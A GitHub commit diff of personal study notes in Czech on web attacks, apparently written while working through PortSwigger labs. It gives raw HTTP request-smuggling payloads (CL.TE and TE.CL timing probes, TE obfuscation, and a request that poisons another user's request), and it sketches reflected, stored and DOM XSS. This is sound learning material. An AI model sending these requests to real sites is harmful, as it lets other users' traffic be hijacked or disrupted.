You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
- CL.TE = frontend preferuje/pouze používá`Content-Lenght` a backend preferuje/přijímá pouze `Transfer-Encoding`
18
+
- mezi hlavičkou a tělem HTTP requestu musí být řádek (třeba 2 hodiny researche tady xd)
19
+
- trailing v hostu `/` mi dělá neplechu, takže ho tam nedávej :D
20
+
- (To send this request using Burp Repeater, you will first need to go to the Repeater menu and ensure that the "Update Content-Length" option is unchecked.)
21
+
### CL.TE vuln - timing
22
+
- frontend pošle kompletní zprávu, která má 4 bity, ale backend čeká na ukončující `0` na t-e chunked
23
+
- pokud je site vulnerable bude server timeout po několika sekundách
24
+
```
25
+
POST / HTTP/1.1
26
+
Host: vulnerable-website.com
27
+
Content-Type: application/x-www-form-urlencoded
28
+
Transfer-Encoding: chunked
29
+
Content-Length: 4
30
+
31
+
1
32
+
A
33
+
X
34
+
```
35
+
36
+
### TE.CL vuln
37
+
- FE odešle pouze část po 0, BE čeká na zbytek bitů do 6
38
+
- tohle potenciálně zaznamenají ostatní uživatelé, je lepší nejdřív zkoušet variantu CL.TE
39
+
- pokud to vrátí okay, backend taky preferuje TE
40
+
```
41
+
POST / HTTP/1.1
42
+
Host: vulnerable-website.com
43
+
Transfer-Encoding: chunked
44
+
Content-Length: 6
45
+
46
+
0
47
+
48
+
X
49
+
```
50
+
51
+
- pokud frontend preferuje TE, vrátí invalid request
52
+
```
53
+
POST / HTTP/1.1
54
+
Host: vulnerable-website.com
55
+
Content-Type: application/x-www-form-urlencoded
56
+
Content-Lenght: 6
57
+
Transfer-Encoding: chunked
58
+
Content-Length: 11
59
+
60
+
3
61
+
abc
62
+
X
63
+
64
+
```
65
+
### TE obfuscation
66
+
- trickneme backend, aby používal CL nějakým dojebem TE headeru
67
+
- pokud je frontend lenientnější, pošle tohle v pohodě na backend s tím, že to je chill TE chunked, ale backend se z druhého TE podělá a radši použije CL, který ho donutí timeoutnout
68
+
- pokud je tohle úspěšné, dá se exploitnout stejně jako TE.CL útok
- tohle přepíše první řádek následujícího requestu (klidně od jiného uživatele) na `GET /404 HTTP/1.1`, ať uživatel requestoval jakoukoliv stránku
84
+
```
85
+
POST /search HTTP/1.1
86
+
Host: vulnerable-website.com
87
+
Content-Type: application/x-www-form-urlencoded
88
+
Content-Length: 49
89
+
Transfer-Encoding: chunked
90
+
91
+
e
92
+
q=smuggling&x=
93
+
0
94
+
95
+
GET /404 HTTP/1.1
96
+
Foo: x
97
+
```
98
+
- modifikovaný request victima:
99
+
```
100
+
GET /404 HTTP/1.1
101
+
Foo: xPOST /search HTTP/1.1
102
+
Host: vulnerable-website.com
103
+
Content-Type: application/x-www-form-urlencoded
104
+
Content-Length: 11
105
+
q=smuggling
106
+
```
107
+
#### PortSwigger lab payload
108
+
- X-bordel je obfuscated X-forwarded-host header, který jsme museli zjistit. je důležitý aby ten druhý request měl content length o 1 menší větší než body
`<p>Status: <script>/* Bad stuff here... */</script></p>`
29
+
## Stored
30
+
- to samý jako reflected, ale místo aby se exploit načítal ze současného http requestu tak se načítá z databáze, třeba reviews na stránce, kde uložil exploit útočník
13
31
## DOM
32
+
- exploit klient side javascriptu
33
+
34
+
ukázka:
14
35
kód:
15
36
`html += "<img src='/static/level3/cloud" + num + ".jpg' />";`
0 commit comments